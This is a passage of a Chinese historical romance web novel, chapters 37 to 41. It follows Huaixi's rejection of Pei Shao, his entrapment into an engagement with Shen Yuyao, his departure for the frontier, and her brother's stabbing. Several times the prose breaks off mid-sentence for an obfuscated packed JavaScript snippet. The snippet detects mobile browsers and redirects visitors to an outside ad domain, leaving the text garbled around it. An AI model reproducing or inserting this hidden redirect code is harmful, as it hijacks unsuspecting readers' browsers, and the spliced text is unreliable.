想清楚之后,怀夕便让小艾把裴劭送的东西都收拾出来,亲自找到夏敏,让夏敏转交回裴劭。 夏敏惊叹怀夕的坦率,也不是没想过再劝一劝,可细想,情这东西,不喜欢就是不喜欢,哪里还能劝得来。 只能说,两人没缘分。 所以,夏敏专门找来裴劭,将东西原封不动转交给他。 裴劭看到东西的时候,就已经知道怀夕的态度了。 虽然他对她剖白心迹时说过,不喜欢也没关系。 但真正听到怀夕说出来不喜欢的时候,裴劭心里止不住还是如刀划过般刺痛。 看着眼前女子坦荡又真诚的目光,裴劭尽量让自己自然地笑着。 “好。” 他同她说过的,不喜欢也没关系的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109580|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 怀夕觉得自己说清楚了,且见裴劭也很爽快,心里终于落下一块石头。 如何友好拒绝一个人的好意,怀夕并不是很懂,她只能对裴劭说着千篇一律的祝福。 但她发誓,那些祝福发自肺腑。 她对着裴劭展颜而笑,“听闻裴世子过几日就启程,愿你在西北顺遂无虞,所愿皆得。” 真心且毫不吝啬的祝愿。 说完后,怀夕正好听到王郁心唤她的声音,也不待裴劭说话,转身翩跹离去。 - 婚宴有两场,首辅家一场,太师府一场,裴劭跟着迎亲队伍将王郁雾送到首辅家,便作为娘家代表留在那边的喜宴。 因着心情复杂,旁人敬酒的时候他几乎来者不拒,很快就醉醺醺了过去。 可他没想到,自己再醒来的时候,身边竟然躺着个不着一缕的女子。 而那女子,便是沈玉瑶。 裴劭丝毫记不起他酒醉之后的事情,只依稀记得从宴席里走出来时,有两个丫鬟过来扶住自己,说是引自己去厢房休息。 裴劭压住心中的慌乱,赶紧穿戴好自己的衣服。他的脑袋又痛又乱,隐隐觉得事情不对劲,明明醉倒前,他没看见沈玉瑶,为何她会出现在他的厢房里。 毫无头绪,他只好问身后的女子,声音冷冷地,“你怎么会在这里?” 他与沈玉瑶平日碰面并不多,但因着一层亲戚关系,碰面多少总会寒暄几句。这位表妹自小心高气傲,她不像是...... 听到身后轻轻的啜泣声,裴劭觉得自己好似不应凭空恶意揣测人,他皱了皱眉,将掉落在地上的女子衣衫捡了起来,背对着递给她,让她先穿上。 沈玉瑶扯着被子,不知醒了多久,听到裴劭的话,她只言不吭,只是用帕子捂着脸颊啜泣着。 衣服被撕烂,沈玉瑶穿了也只比没穿好一些,最后,在裴劭的冷声询问下,她哭着说她有些醉酒出来走走,是他不由分说将她拉进厢房,还扯了她的衣服,欲对她...... 有没有做什么裴劭怎么可能不知道。 他是醉了又不是死了。 可即便没有做什么,姑娘光着身子在他床上已是板上钉钉的事。 还不待裴劭理清事情的前因后果,谭氏的声音就从门外传来。 ...... 裴劭很清楚,事情是掩盖不过去的,况且,他也没有打算瞒着。 谭氏进来后看着床上衣衫凌乱的女儿,一时气得说不上话。可当看到女儿看她时那心虚的眼神...... 知女莫若母,谭氏心里隐隐有了猜测。 这里是外客休息的厢房,女儿为何会出现宾客休憩的外院? 这样的手段,对于内宅妇人来说,连推敲都不用。 裴劭也知道事情不对劲,可到底是哪一环节出了问题,他心里没底,对于沈玉瑶的话,虽半信半疑,但一时也拿不出证据。 他是成年男子,虽确认自己没有酒后乱性的痕迹。可有了心仪的女子后,也不是没有做过那等子梦...... 难道真如沈玉瑶说的那般,真是他不由分说将人拉扯到屋内? 不管怎样,终究是他不该放任自己喝醉...... 38. 第 38 章 谭氏迅速将裴劭说的那两名女侍抓起来,待婚宴结束后,一讯问,果然,是女儿的手笔。 她又气又怒,可事到如今,为了女儿的名声,她只能先处理眼前棘手的场面,当即抓了几个侍候的奴仆,将事情以最快速度压了下来。 好在裴劭还算配合,宾客们也未察觉到异常,婚宴顺顺利利举行。 婚宴结束后,裴劭并没有马上离开,而是第一时间去了沈震的书房。 裴劭跪在地上阐明前因后果后,抬起头直视沈震的眼睛,“舅舅,我发誓我没有对表妹有过任何不轨之心。事到如今,我已无从辩解,舅舅是杀是打,裴劭绝无一句怨言。” 沈震坐在书桌前,一时沉着脸没有说话。 裴劭不知道,他来之前,谭氏刚刚从沈震的书房离开。 谭氏知道这件事攸关重大,不敢瞒着沈震,所以上座的首辅大人已然知晓全部实情。 沈震当然生气,他是真的宠爱沈玉瑶这个女儿,可没想到,她竟敢做出这样胆大包天的事情,而自己还不得不为她周全。 若是别的男子,这事其实也不算难办,他用了大半辈子走到如今的位置,除掉一个人对他来说只是动一动手指的事情。 人若死了,谁敢用清不清白来评判他沈震的女儿。 但裴劭...... 若他动了他,昭昭定会怨怪他...... “先定亲吧。”沈震冷冷地看着裴劭,一锤定音。 裴劭跪在地上,深深地闭了闭眼,声音沉而哑:“好。” - 翌日,裴劭第二日便来王府拜见夏敏,求她替自己去首辅府提亲。 夏敏听完裴劭央求她去首辅府提亲时,当场就愣住。 “你是吃醉了不成?”夏敏一脸震惊地看着他,充分怀疑此刻不是她在做梦,便是侄子还没酒醒。 倒没想,这话真戳中裴劭的心窝。 就是因为吃醉了...... “我知道你刚被人家姑娘拒绝,心里或许不舒服。可结亲是大事,说不得玩笑的。”夏敏语重心长地说道:“你不要怪怀夕,她跟我们不同,也是不想误了你...” 京中女子婚事或多或少,总会有许多考虑和顾忌,但怀夕不同,她心思坦率单纯,她的哥哥宋承云不会也不屑利用她的婚事为他的前途添什么光彩,正如宋承云所说,只要她喜欢即可。 所以,怀夕自己的意愿便是放在第一位的。 感情这种事情,喜欢就是喜欢,不喜欢便是不喜欢,夏敏很欣赏怀夕找上她时的坦荡。 夏敏最不喜欢男女之间藕断丝断,若有似无那一套。女子嘛,就该坦荡面对自己的内心,敢爱敢恨,勇敢说爱,也能敢于说不。 提到怀夕,裴劭心里更是针扎般的苦楚。 原本还存着些幻想,怀夕不喜欢他又如何,反正男未婚女未嫁,未来的事谁说得准。 没想到这下幻想是彻底破灭了...... 裴劭苦笑:“我根本就不在乎她误不误我...” 仿佛糊了满嘴的黄连,苦得裴劭说不下去。 可现在说这些也没用了,男子汉大丈夫,敢做敢当,裴劭将喉咙里的苦楚咽了下去,正色把昨日的事情告诉夏敏。 夏敏皱着眉听完裴劭的讲述,脸色绷得越发紧...... 简直是漏洞百出的说辞,别说裴劭在外院,玉瑶是首辅府的主子,身边怎么会少人侍候,为何会落单? 她拧着眉问裴劭:“你真不记得阿瑶是怎么进来的?” 裴劭叹了口气:“姨母,你又不是没见过我喝醉的样子......” 裴劭喝醉,从来都是乖乖睡着。 夏敏相信裴劭。但,玉瑶也算是她看着长大的,平日里温声细语,最是守礼。况且她身份尊贵,若她真想嫁给裴劭,无需采取这样的手段...... “到底是何人想陷害你?”夏敏想了半天,难道是朝堂上的争端,有人想离间首辅和王家乃至与太子的关系? “不知道。”裴劭摇头。 谁敢在守备森严的首辅府动手?动的还是人家捧在手掌心的明珠? 夏敏知道这事关系重大,毕竟是首辅沈震的女儿,不说朝堂上那些弯弯绕绕的关系,私下也是沾亲带故的,若处理得有错漏,恐怕干系重大。 明明也是受害者,偏偏为了姑娘家的声誉,这种事还不能声张...... 提亲势在必行,沈震算是明着勒令让裴劭负责,而太子也已经知晓并点头,接下来夏敏只不过是把该走的流程按明面上的礼仪走一遍。 - 距裴劭启程西北的日子不到十天,夏敏花了两日匆忙准备提亲的东西,第三日就去了首辅府,两家达成共识,待裴劭下次回京,再将婚事办了。 裴世子与首辅家女儿定亲的消息一经传出,在朝野引起好一番动荡。 不过等怀夕知道这个消息,已经是事情尘埃落定的时候了。 中秋前一天,怀夕带了些自己做的桂花茶和小点心来王府,给老太师夫妇请安后,又来到夏敏院子。 裴劭向沈家提亲的事已经传遍朝野,这事并不是秘密,但夏敏同怀夕提起的时候显然脸上有几分尴尬。 怀夕听完有些讶异,显然她还不知道这个事情。怀夕平日大多呆在家中,消息闭塞,宋承云未曾讲起,她自然什么都不知道。 不过她虽有些惊讶,倒也没有多想什么。 反倒是王郁心听完后,把手中的茶盏重重放下,嘟着嘴不满地说道:“表哥怎么是这样的男子,一会喜欢一个。” 夏敏斥她:“别胡说八道。” 王郁心不服:“我哪有胡说八道,前阵子他不是喜欢怀夕姐姐吗?还老是托我替他送东西,怎么还没几日又去向玉瑶姐姐提亲...” 怀夕只好解释道:“你表哥托你送来的那些东西,早在他定亲之前,干娘已经尽数帮我还给他了。” 见王郁心张着嘴巴有些不可置信,怀夕继续说道:“我同裴劭什么都不是,他喜欢谁是他的自由。” 夏敏也瞪她一眼,“小孩子家家的你懂什么,以后莫在别人面前胡说八道,免得被有心人拿去做文章......” 王郁心被夏敏一顿教训,也知道轻重,只好讷讷说自己以后不会乱说了。 - 夜里用过膳后,怀夕捧过小艾递来的茶水,半掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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静生慧,慧生定,定生万物,无论是梁老夫子,还是王老太师,都常常夸羡他有一个明朗清澈,不受外物影响的心境。 裴劭结亲也好,不结亲也罢,皆与他无关。 可他听到裴劭结亲时,心中滑过的一丝喜悦和庆幸那般分明。 为什么会喜悦? 为什么要庆幸? 正如他所想,裴劭于他,并不是什么特别的人。 宋承云看似温和,实则心高气傲,能让他放在眼里并且心生欣赏的人并不多,裴劭算一个。 可能是妹妹近来提起裴劭的次数愈来愈多,让他几次三番不由自主会关注裴劭。因为有所关注,所以大概明白为何妹妹会独独青睐他。 性情纯净的人,大约都是互相吸引的。 当王大人来探他口风之时,他心底其实已经有了准备。只是事情转折之快,确实超乎他的意料。 裴劭突然定亲,无论真心还是无奈,事已成定局,深究也无用。 但宋承云很清楚,没有裴劭,还会有别人... 他闭上眼眸,深深吸了一口气。 39. 第 39 章 月亮圆了又缺,离别是世间最叫人心碎的事。 今日京城几条主街都挤满了人,马蹄卷起尘土,百姓们不顾满脸细沙和官兵拦道熙熙攘攘地簇拥着,有的是为送别上战场的亲人,有的只为一睹将士的风采。 的确,领头那位少年将军风采实在出众。 马背上的身姿挺拔如苍松,一身银色耀甲加身,剑眉星目,气势如虹,让人感到有如实质的敬畏。 大军走出城门外几里,开路的兵士眼尖地看见王家的马车,前来禀报。 裴劭叹了口气,明明昨日已经拜别过姨母,不让她今日前来相送。他吩咐大军继续前进,他独自打马往前方奔去。 王家的马夫看到裴劭驰骋靠近的身影,敲了敲车沿,道:“夫人,世子来了。” 马车里,夏敏忙拭了拭眼泪,在婆子的搀扶下匆忙出了马车。 裴劭见到夏敏,扔了手上的缰绳,一跃下马,几个大跨步走到夏敏身前,“姨母。” 看着故作笑脸的夏敏,裴劭不由地叹了口气,安抚她:“又不是战事四起,只是去整军戍边的,快则一年就回来了......” 他还没说完,马车里又钻出来一个人,是王郁心。 然后,又出来一个。 裴劭清俊的眼眸一下子亮了亮,只是深陷离别愁绪的夏敏没有发现,揽着裴劭忍不住又滴下眼泪。 “有没有战事,都千万要小心。姨母就在京里等你回来......”嘱咐的话不知说过多少遍,可说再多夏敏也不放心,“你如今也算有家有室的人,待你归来,姨母定将你的亲事办的风风......” “两个妹妹也来了。”裴劭不知是有意还是无意,截了夏敏的话,看着她后面两个小姑娘。 怀夕本是不来的,可王郁心一早叫人请了她过去,说是她的小狗有些不对劲,叫她赶紧过来帮忙瞧瞧是怎么回事。 怀夕养着猫奴,有些经验,看出可能是天气忽然转冷,小狗不适应,所以不愿意吃东西,逗了小狗玩了一会。 既来了王府,总要去夏敏那里请个安,本想请完安便回家,没想正遇上夏敏带着仆妇要出门,见到她们两,便顺势将她们带上。 于是,自王郁雾大婚后,怀夕时隔半月又见到裴劭。 一身军甲更衬出他的好颜色,眼眸凛然有神,鼻梁秀直高挺,少年将军风范天成,怀夕冲他浅浅地笑了笑。 怀夕今日穿了一袭鹅黄色的菊纹襦裙,将她身姿衬得愈发娉婷,莹白清秀的脸上映着金黄的日光,通透又莹润。笑意将她的眼神染得格外明亮,里头是毫不掩饰的欣赏与向往。 裴劭试图想捕捉里头是不是有别样的情绪,但...确实,坦坦荡荡,一丝能让人误会的东西都没有。 裴劭心里有种说不出的滋味,泛酸,泛苦。 她还是如同以前那般,仿佛他们之间从未发生过什么。他的爱慕也好,他转头定亲也好,仿佛都未能在心上留下一点痕迹。 看着女子的笑意,裴劭只能尽数压下心头苦涩滋味,也对着她扬起嘴角。 夏敏实在忍不住情绪,到后面简直是要痛哭起来,又交待了几句话,见情绪实在绷不住,赶紧钻上马车,不敢再看裴劭的脸。 裴劭摸了摸王郁心的鬓角,见她眼泪汪汪,从袖袋里拿出一只竹叶编的蝴蝶,递给她:“别再说表哥偏心了,这只蝴蝶可费了我不少时间。” 看到竹蝴蝶,王郁心眼泪鼻涕更是一起来,接过来后锤了裴劭一下,“表哥还是这样讨厌,总之,你一定要平安回来。”说完觉得丢脸,也跑回马车内。 怀夕看着她跑开,对裴劭笑着点点头,也想回马车。 不料裴劭叫住他,不知从哪里拿出来一枚玉饰佩,掌心向上,伸手给她。 “你也有。”他笑着递给她,语气寻常,仿佛她只是另外一个妹妹,给了王郁心,便公平地也给她一件东西。 怀夕摆摆手,笑道:“我就不用了。” 裴劭却不容她拒绝,环视了一下周围,见没人看着这边,迅速地抓起怀夕的手,将东西放到她手心。 裴劭自来都是彬彬有礼的样子,怀夕有些惊讶于他的举动。 玉佩落到手心触感微凉,怀夕下意识低头去看,原来是她还给他的那枚猫形玉饰佩。 裴劭紧紧地握着拳,显然刚刚的举动对他来说也有些出格。 怀夕抬头来看他,眼眸在耀眼的日光下只能微微睁开一丝缝隙。 裴劭庆幸自己站了个逆光的位置,不至于叫人发现自己脸上的红晕。可庆幸完之后心里又苦笑了一下,他们之间已经不可能了,他何苦还要勉强人家姑娘收下他的东西。 可心里这样想着,嘴上还是说着:“既然送你了,就没有要回来的道理。”见怀夕有些皱了皱眉,他脸上故作的沉静又有些绷不住,语气带了些微不可察的慌乱,“就当是我送你的生辰贺礼,可好?” 怀夕的生辰在十月十五,,经裴劭一说,怀夕心里算了算,自己的生辰确实快到了。 裴劭笑了笑,故作洒脱地调侃道:“别的做不成,还是可以做朋友吧?退一步讲,我们也算表兄妹......” 话都说到这份上,怀夕只好也笑了笑,“那就多谢你的贺礼了。” “一切顺利,裴将军。” 马蹄声踏踏,后面的大军已经渐渐看到队形。裴劭笑着点了点头,这次,他毫不犹豫转头跃上马匹,踏着日光驰骋远去。 - 草木流金,东篱菊瘦,晚秋的金陵城是萧瑟的,落叶跌向大地,所有的热烈繁盛归于宁静。 每年的惯例,天气一凉,怀夕就懒得出门,每日窝在自己屋里看书写字,和丫鬟闲聊中得知琥珀手艺好,会绣双面绣,之后琥珀亲手给怀夕绣了一个荷包,十分精美。 宋承云的生辰也在十五,只不过比怀夕晚了两个月。时间虽还远着,但怀夕倒起了个念头,反正每年都愁给哥哥准备生辰礼物,索性决定跟琥珀学一手,今年绣个荷包送他作生辰礼。 双面绣并不好学,不仅要绣出正反两面图像,绣法比普通的单面绣也复杂许多,尤其排针手法,怀夕总是学不好。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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怀夕见宋承云重新拿起筷子,这才满意地放开他的袖子,锲而不舍地替他夹着菜。直到宋承云实在吃不下,转头无奈求饶:“够了。你慢慢吃,我等着你,好么?”说完,他礼尚往来,也给怀夕夹了一筷子她喜欢的炙肉圆。 怀夕露出得逞般的笑容,弯着眉眼点点头,这才开始准备喂饱自己的肚子。 陪怀夕吃完饭,宋承云回到书房,松毫将刚刚收到的信件呈了上去。 宋承云一眼看出火漆上是族里的印章。 他们在泸州还有些带不走的家业,向来交给族里打理,具体的情况族里常常写信告知,盈余时还会派族人将分红送至金陵。 不平日里这些书信向来是怀夕在收着的,只是今日收到信的时候有些晚,松毫不好去打扰怀夕,便将信件先呈给宋承云。 宋承云神色平淡,将信拆开。 信上说,按惯例,将大房应得部分的一半交给当地善堂,还特意说族里各户也跟随添了不少,又说今年族中又开了几家店铺云云... 信件厚厚几页,宋承云只是粗粗掠了一遍,只在看到结尾处微皱了皱眉。 40. 第 40 章 信件第二日送到怀夕手中,看到火漆有破损,怀夕便知道哥哥已经看过了。 族里为了笼络哥哥,信件常常要用四五页纸,事无巨细,恨不得连族里的鸡下蛋了都想告知他们。 怀夕每次看信都有些无奈,反正每次说得大差不差,她只挑重点的看,譬如今年盈利的钱财,譬如善堂又救济了多少灾民...... 草草看过结尾处,怀夕不禁挑了挑眉。 族长在结尾写道:因有要事相商,此番上京,犬子承晖和二房承林一同随行...... 宋承晖怀夕没什么印象,可宋承林...... 怀夕脑海里不禁浮现起小时候,那个矮矮肥肥,因常常挑衅被她压着揍的小男孩... 当然,那时怀夕也没占到什么便宜,压制他不过一年多,小男孩身型抽条,矮肥变成高壮,仿佛轻轻一脚就能将怀夕踢飞...... 好在他身型压过怀夕后,身体挑衅变成嘴上挑衅,怀夕倒也没有真的吃过什么亏。 来就来咯,怀夕想,只是怕他们又给哥哥找些什么麻烦。 - 宋承云走后四天,宋承林一行就到了。从前一直负责来回泸州和金陵的是另一位族兄宋承炳,熟门熟路,带着宋承林和宋承晖找上门来。 平日宋承云不在时,一般是没有男客的。但毕竟宋承炳几人是同族亲眷,虽来得有些突兀,怀夕还是叫人将他们请到正厅。 看到怀夕出现后,宋承炳立马站了起来,目露欣喜喊道:“怀夕妹妹。” 自他们上京后,每年至少都要见这位哥哥一两次,怀夕对他也熟络不少,笑着对他们欠了欠身:“几位哥哥一路辛苦。” 宋承晖原本正同宋承林说着话,听到宋承炳的声音后,也朝门外迈进来的女子看去。 来京前,宋承晖对怀夕这个妹妹并不熟悉,只在族人闲谈中有所耳闻,知她是大伯母捡来的一个小女娃。 因为要上京,族长父亲将承云兄妹二人来京前与族里的磋商细细告知,从父亲的话里,宋承晖对这个妹妹也有了大概了解。 严格来说她未入族谱,也不算是妹妹。可听说她颇得承云看重,兄妹情深。 如今承云扶摇直上,族里便有心成全,年前也写过书信来金陵,说只要他示意,族里立刻将怀夕编入族谱。 可信件如石沉大海,一点回信都没有。 小姑娘笑着朝他们看来的时候,宋承晖眸中光芒骤亮,不及掩饰眸中惊艳。 不是十分绝美的长相,可绝对看了一眼就让人很难移开视线。 她比寻常女子更高一些,身姿聘婷,肌肤塞雪。 细眉弯弯,一双剪水秋眸还带着些许稚气,可剔透如琥珀,笑起来的时候梨涡浅浅。 看到他们,不似小女儿见过外人时的乖顺或羞赧,而是大大方方的,不吝爽朗笑意。 宋承晖从未见过这般有灵气的女子,他有些难以想象,等她再褪去稚嫩时,这双灵眸该是何等风采。 宋承炳看着两位兄弟都在发愣,只好咳了一声,向怀夕引见:“妹妹,这位便是族长的长子,承晖哥哥。还有这位...”宋承炳笑了笑,“这位便不用我介绍了吧。” 怀夕带着微微笑意,欠了欠身,“见过两位哥哥。” 宋承晖忙拱了拱手,“妹妹不必多礼。” 从怀夕进门之后,宋承林的视线也没离开过她。 承如宋承晖心中所想,只要你将目光落在她身上,绝对很难移开。 宋承晖打过招呼后,宋承林也展露笑意,拱手道:“妹妹。” 怀夕看到宋承林向她拱手时,眸中闪过一丝意外。 士别三日,当刮目相看。 是她小人之心了,还以为宋承林会如同小时一般,对她满怀敌意。 - 宋承晖一行未料到这几日正逢宋承云不在京中,此次来送账本分红是其次,族里另有重任交给他们。 宋家多次求见新任州府长官无果,此番上京,是想求求宋承云,能不能替宋家引见一下这位新任州府长官。毕竟,宋家手上的盐引是他们在泸州的立足之本。 但宋承云不在,他们也只能等着。既来之则安之,宋承晖和宋承林首次入京,宋承炳正好借此机会带他们一览京城风光。 到的第一日他们并未多叨扰怀夕,见了个面很快便回客栈休息。 他们落脚的客栈位于长安街上,离怀夕住的宅子很近。修整了一日后,第三日,宋承晖让仆从过来传话,说是他们想去青元山走一走,问怀夕是否同去。 来了几日,怀夕总不能一点东道主的表示都没有,遂答应一同前去。 晚秋虽萧瑟了些,可秋高气爽,天清如水,青元山上风光独好。 枫叶几近落尽,满山一片红艳。山路还算平坦。但越到高处山路越窄,车马不能行,到了半山后便只能步行上山。 怀夕来过青元山多次,知道路上难避尘土,因此今日特意穿了一袭青色襦裙,以轻便为主,但因着天气寒凉,又加了一件月白暗花小披风。 她头上只盘了简单的垂桂髫,簪了两支兰花珠钗,素面朝天,但简单的装饰越发衬得整个人清净灵透,叫几个族兄见到时不禁眼前一亮。 宋承晖是个善谈的人,一路聊上来,得知怀夕兄妹在青云山为双亲设了长明灯供奉香火,便提出要去上柱香。 好意难以推拒,怀夕想着来都来了,只好点头带他们上山。 供奉长明灯的禅房位于青元山顶峰无极殿,平时并不多人踏足,因此山路更是崎岖难行。 怀夕好些日子不曾出门,一下子走了那么久的山路,不免气喘吁吁。小艾也是,虽寒风有些瘆人,但还是走出了满颊的汗。 走着走着,宋承晖和宋承炳已经在她们前面好一段距离,怀夕大吸了几口气,准备继续前行时,不料突然有些腿软,踩漏了一级阶梯,差点跪倒时,手臂被后面的人紧紧搀柱。 怀夕以为是小艾,为稳住身子,另一只手顺势攀上她的手掌。 “小心。”身后人语气里隐隐的紧张。 却是男子的声音。 微茧和青筋分明的手感叫怀夕急忙松开,一转头发现接住自己的人是宋承林。 一路走来,宋承林话并不多,只是偶尔应和着兄弟们的话。 说实话,怀夕心底挺讶异的。宋承林好似变了许多,小时候他简直是个话痨,脾气也不好,说的话常常带着刺。 你理他他越起劲,不理他他又变本加厉地欺负你,鬼见愁的,所以怀夕大了一些后,能避开他则避开。 “多谢。”怀夕抽回自己的手,颔首道谢。 宋承林也点了点头,没有说话。 怀夕侧身,想让他先行,不料宋承林望着山间风景,好似没看到她动作一般,怀夕只好和小艾两人互相搀扶并行。 等她们走后,宋承林才转过身,肆无忌惮地将目光落在怀夕身上,看着她和小艾紧紧握住的手,他的眼里闪过一簇精光。 上过香之后已是晌午,山上有禅房供香客休息吃食,一行人简单地用了一顿素斋。 山上的素斋清淡可口,不过,怀夕向来不吃黑豆,小艾将装满素菜的碗递给怀夕前,将里头的黑豆一颗一颗挑回自己碗里。 此举落到宋承林眼里,他似乎有些惊讶,“你当真不爱吃黑豆?” 他的问话有些突兀,不过怀夕没有多想,据实回答:“也不是不爱吃。” 小艾接过话头,解释道:“我家姑娘不知为何,吃了黑豆,身上总会起些小红包,大夫也找不到原因,只好让我们姑娘忌口。” 宋承林听完,脸色有些奇怪。宋承晖笑着说道:“可能是这黑豆犯了妹妹什么忌讳,也不是什么大事,不吃便是了。” 怀夕也笑着应是。 山上天气多变,用素斋时,忽然就下起倾盆大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122891|159707||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 雨,几人便都去了客房休息,约定雨后再回程。 雨声哒哒,是最好的助眠声,怀夕和小艾太过疲累,两人很快小睡过去。 而另一间客房里,宋承林遣去随从,独自一人站在半开的窗边。 凉风习习,裹着雨丝打在脸上,又湿又冷,宋承林好似感觉不到,目光虚虚地落在窗外的枯树枝上。 泸州的冬日也常常下雨,他突然想起以前。 大概也是这样的雨天,那个时候,怀夕才刚刚被大伯母领回来不久,大房二房俱住在主宅。 怀夕刚被领回来那天,他也还很小,带着两个妹妹在院子外玩耍。 因大伯母每次出门回来,都会带些糖圆点心分给他们,因此看到大伯母的马车到了府前时,他兴冲冲地跑过去,正好看着大伯母抱着一个脏兮兮的小女孩从马车上走下来。 小女孩的衣服脏破不堪,但脸上显然清理过,皮肤干净白皙,一双圆溜剔透的眼眸直勾勾地盯着他。 宋承林好奇地问白氏:“大伯母,她是谁啊?怎么衣服脏得跟乞丐一样?” 白氏当他童言无忌,只是笑了笑,“她是大伯母的女儿。”那时白氏还没想好为怀夕取什么名字,歪头想了想,对宋承林温柔说道:“她比你小一岁,你先唤她妹妹吧。” 于是小宋承林主动牵过怀夕小小的手,乖巧喊道:“妹妹。” 站在窗前,宋承林忍不住在想,到底是从什么时候开始讨厌这个妹妹的呢? 怀夕的到来,似在平静的湖面丢下一颗巨石。不知为何,祖母异常生气,就是不肯让大伯母将怀夕计到名下,说是留下也只能充作丫鬟。而向来性子温软的大伯母又异常坚持,不肯听祖母的安排。 那时宋承林什么都不懂,只记得不久后,大伯母就搬到隔壁的小院去。 但这并不影响他常常去找小怀夕玩。 明明他也有两个妹妹,但不知为何他就是特别喜欢怀夕。 可能是因为他有两个哥哥,宋承亭和宋承云,同他一样大时就已经显示出异于常人的天赋,读书都是一把好手。 只有他不是。 祖母并不是很喜欢他,父母亲也常常觉得自己不争气,家中两个妹妹鹦鹉学舌一般,常常将母亲教训他的话也挂在嘴边。 可怀夕不同,无论他带着她去偷摘隔壁老秀才的果子,还是给她自己舍不得吃的糖圆,她每每懵懂如小兽的眼神叫他总有做大哥哥的成就感。 可渐渐地他发现,只要二哥一出现,怀夕便可以几日几日地不出门同他玩,如同二哥的小尾巴一样,不管他冷不冷脸,她都贴得紧紧的。 明明他才是对她最好的人。 时间长了,宋承林的心里愈来愈不舒服。 起初他只是想让怀夕跟他玩,想从她眼里看到那种崇拜似的眼神。可小孩子的嫉妒心作祟,他用了错误的方法,他欺负她,辱骂她,想让她看到他。 家中长辈常说怀夕像个不开窍的傻子,长辈的脸色都不会看,可宋承林却觉得她敏感如小兽,只要察觉到一丝危险,就会躲得远远的。 亦如她后来每次见到他都恨不得躲着他走。 大了一些,他想通一些事情,知道自己做错之后,小姑娘却一次解释靠近的机会都没有留给他。 少年人的自尊比生命还要重,所以后来,他只能继续,对她横眉以对,故意欺负她,惹怒她,换来她生气的几句回骂,或者看到她气得跳脚的神态。 他总以为总有机会解开误会,有机会向她道歉。那时他并不知道,怀夕有一天会彻底地离开那座小院。 他不知道,为何少年时一些小小的遗憾和悔意,经年累月在心里发酵之后,会变成迷雾沼泽一般愈挣扎愈沉沦的执念。 这几年来,他常常想起她。 甚至在真正成为男人的第一个晚上,他身下骑着别的女子,可释放的那瞬间,脑海里炸开的,却是她的身影...... 41. 第 41 章 宋承云是被抬着回来的,怀夕赶到他屋里的时候,他已经被安置在床上,沉沉地闭着眼。 被太子安排来的李太医坐在床边把完脉,正准备施针,听到门口匆匆的脚步声,紧接着门哐当被推开。 李太医皱了皱眉,心想是哪个没规矩的丫鬟,正要斥退,那姑娘已经来到床前,语气焦急:“我哥哥怎么了?” 原来是宋编修的妹妹...... 李太医从床边站起来,抬眼看向怀夕时,眼里闪过一丝惊艳。他的声音沉稳且颇能安抚人心,“姑娘别担心,宋编修伤口上还有些余毒,待我施针将毒逼出,再服几帖药,应是无碍。” 李太医平日专为太子请脉,此次郊祀也随行。宋承云为太子挡了一刀后,他被太子派来全程照料宋承云。 知道眼前的姑娘是宋承云妹妹后,态度颇为和善,又继续说道:“只不过伤口在左腹,失血有些多,是以还得慢慢调养......” 宋承云脸色十分苍白,身上盖着厚厚的被子,偶尔还打着冷颤。 怀夕边听着李太医说话,边俯身去摸他的手。 ——冷得像冰块。 怀夕蹙紧眉头,只好用自己的双手紧握住他的,试图想传递一些温度。待李太医说完,她脱口问道:“你说哥哥是中毒?” “......”这说来便话长了,但有些话李太医也不好说。 郊祀历经七天,全程十分顺利,但谁能料到回程时侍候茶水的女婢会持刀刺杀太子?而正好宋编修被召到太子的车驾上,意外替太子挡了一刀...... 女婢背后是何人指使?刺杀太子又是何意?通通都不是李太医敢说,能说的。 但小姑娘问得直白,让向来秉持谨小慎微的李太医一时倒没用对外的那套说辞搪塞他。 李太医咽了咽口水,从针袋上拔出针,“眼下还是逼出余毒要紧,姑娘还是让我先施针吧。” “对对对。”怀夕急忙让出位子。 身边另一位随行的太医过去掀开被子,解开宋承云的衣物的同时,李太医回头看了看怀夕,“姑娘是不是......” 怀夕摇了摇头,“无妨,我在边上看着。” 哥哥的伤口她要亲眼看过才行。 两位太医虽有些惊讶,但想了想,听闻宋编修家中只余一个妹妹,待他们走后,总要有人在身边照顾着,于是也没有再多说什么。 李太医掀开宋承云的衣服,腹部上围着厚厚一圈泛血的纱布,随行那位太医一圈一圈绕开,待绕到最后两圈,血污和纱布一并凝固在伤口上。 两位太医紧紧皱着眉头,不敢用力,小心翼翼地慢慢牵拉...... 伤口不是很长,却很深。 